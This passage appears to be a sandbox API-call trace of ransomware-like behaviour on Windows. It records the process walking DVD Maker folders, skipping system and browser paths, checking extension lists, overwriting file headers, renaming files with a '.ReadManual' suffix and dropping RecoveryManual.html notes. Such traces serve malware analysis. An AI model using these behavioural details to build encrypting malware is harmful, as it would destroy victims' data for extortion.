[0250.842] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.842] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.885] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.885] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce8) returned 0x2f0000 [0250.886] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.886] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37155446606) returned 1 [0250.886] CloseHandle (hObject=0x184) returned 1 [0250.886] SetSecurityInfo () returned 0x5 [0250.886] SetSecurityInfo () returned 0x5 [0250.886] LocalFree (hMem=0x674d38) returned 0x0 [0250.886] CloseHandle (hObject=0x194) returned 1 [0250.886] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0250.886] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="4to3Squareframe_VideoInset.png" | out: lpString1="4to3Squareframe_VideoInset.png") returned="4to3Squareframe_VideoInset.png" [0250.886] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="RecoveryManual.html") returned -1 [0250.886] StrStrIW (lpFirst="4to3Squareframe_VideoInset.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.886] StrCmpIW (psz1="png", psz2="exe") returned 1 [0250.886] StrCmpIW (psz1="png", psz2="dll") returned 1 [0250.886] StrCmpIW (psz1="png", psz2="sys") returned -1 [0250.886] StrCmpIW (psz1="png", psz2="msi") returned 1 [0250.886] StrCmpIW (psz1="png", psz2="mui") returned 1 [0250.886] StrCmpIW (psz1="png", psz2="inf") returned 1 [0250.886] StrCmpIW (psz1="png", psz2="cat") returned 1 [0250.886] StrCmpIW (psz1="png", psz2="bat") returned 1 [0250.887] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0250.887] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0250.887] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0250.887] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0250.887] StrCmpIW (psz1="png", psz2="fon") returned 1 [0250.887] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0250.887] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" [0250.887] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.ReadManual.5A595725" [0250.887] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.ReadManual.5A595725") returned 98 [0250.887] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37155553235) returned 1 [0250.887] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0250.887] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.887] GetLastError () returned 0x5 [0250.887] GetNamedSecurityInfoW () returned 0x0 [0250.887] SetNamedSecurityInfoW () returned 0x0 [0250.888] SetNamedSecurityInfoW () returned 0x0 [0250.888] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.888] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3467) returned 1 [0250.888] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd8b, lpName=0x0) returned 0x184 [0250.888] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0250.889] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.889] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.932] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.932] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd8b) returned 0x2f0000 [0250.932] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.933] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37160136515) returned 1 [0250.933] CloseHandle (hObject=0x184) returned 1 [0250.933] SetSecurityInfo () returned 0x5 [0250.933] SetSecurityInfo () returned 0x5 [0250.933] LocalFree (hMem=0x674d38) returned 0x0 [0250.933] CloseHandle (hObject=0x194) returned 1 [0250.933] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0250.933] lstrcpyW (in: lpString1=0x69b8fc, lpString2="BabyBoy" | out: lpString1="BabyBoy") returned="BabyBoy" [0250.933] lstrcatW (in: lpString1="BabyBoy", lpString2="\\" | out: lpString1="BabyBoy\\") returned="BabyBoy\\" [0250.933] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch=":\\Windows\\") returned 0x0 [0250.933] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.933] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.933] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.933] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch=":\\WINNT") returned 0x0 [0250.933] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.933] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.933] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.933] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.933] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.934] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.934] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned 56 [0250.934] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0251.025] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0251.025] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.025] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0251.025] lstrcpyW (in: lpString1=0x6ab90c, lpString2="babyblue.png" | out: lpString1="babyblue.png") returned="babyblue.png" [0251.026] lstrcmpiW (lpString1="babyblue.png", lpString2="RecoveryManual.html") returned -1 [0251.026] StrStrIW (lpFirst="babyblue.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.026] StrCmpIW (psz1="png", psz2="exe") returned 1 [0251.026] StrCmpIW (psz1="png", psz2="dll") returned 1 [0251.026] StrCmpIW (psz1="png", psz2="sys") returned -1 [0251.026] StrCmpIW (psz1="png", psz2="msi") returned 1 [0251.026] StrCmpIW (psz1="png", psz2="mui") returned 1 [0251.026] StrCmpIW (psz1="png", psz2="inf") returned 1 [0251.026] StrCmpIW (psz1="png", psz2="cat") returned 1 [0251.026] StrCmpIW (psz1="png", psz2="bat") returned 1 [0251.026] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0251.026] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0251.026] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0251.026] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0251.026] StrCmpIW (psz1="png", psz2="fon") returned 1 [0251.026] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0251.026] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" [0251.026] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.ReadManual.5A595725" [0251.026] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.ReadManual.5A595725") returned 88 [0251.026] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37169483106) returned 1 [0251.026] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0251.072] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.073] GetLastError () returned 0x5 [0251.073] GetNamedSecurityInfoW () returned 0x0 [0251.073] SetNamedSecurityInfoW () returned 0x0 [0251.073] SetNamedSecurityInfoW () returned 0x0 [0251.074] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.074] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=12349) returned 1 [0251.074] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x303d, lpName=0x0) returned 0x1a0 [0251.074] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc0) returned 1 [0251.074] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.075] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.119] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.119] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x303d) returned 0x2f0000 [0251.120] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0251.120] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37178846207) returned 1 [0251.120] CloseHandle (hObject=0x1a0) returned 1 [0251.120] SetSecurityInfo () returned 0x5 [0251.120] SetSecurityInfo () returned 0x5 [0251.120] LocalFree (hMem=0x674d38) returned 0x0 [0251.120] CloseHandle (hObject=0x184) returned 1 [0251.120] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0251.120] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\RecoveryManual.html" [0251.120] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0251.121] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0251.121] CloseHandle (hObject=0x184) returned 1 [0251.122] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0251.122] lstrcpyW (in: lpString1=0x6ab90c, lpString2="BabyBoyMainBackground.wmv" | out: lpString1="BabyBoyMainBackground.wmv") returned="BabyBoyMainBackground.wmv" [0251.122] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="RecoveryManual.html") returned -1 [0251.122] StrStrIW (lpFirst="BabyBoyMainBackground.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.122] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0251.122] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0251.122] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" [0251.122] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.ReadManual.5A595725" [0251.122] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.ReadManual.5A595725") returned 101 [0251.122] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37179115089) returned 1 [0251.122] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0251.172] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.172] GetLastError () returned 0x5 [0251.172] GetNamedSecurityInfoW () returned 0x0 [0251.172] SetNamedSecurityInfoW () returned 0x0 [0251.172] SetNamedSecurityInfoW () returned 0x0 [0251.173] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.173] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=341322) returned 1 [0251.173] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5354a, lpName=0x0) returned 0x1a0 [0251.173] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0251.174] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.174] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.494] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.494] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5354a) returned 0x2690000 [0251.684] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0251.686] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37235437174) returned 1 [0251.686] CloseHandle (hObject=0x1a0) returned 1 [0251.686] SetSecurityInfo () returned 0x5 [0251.686] SetSecurityInfo () returned 0x5 [0251.686] LocalFree (hMem=0x674d38) returned 0x0 [0251.686] CloseHandle (hObject=0x184) returned 1 [0251.686] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, 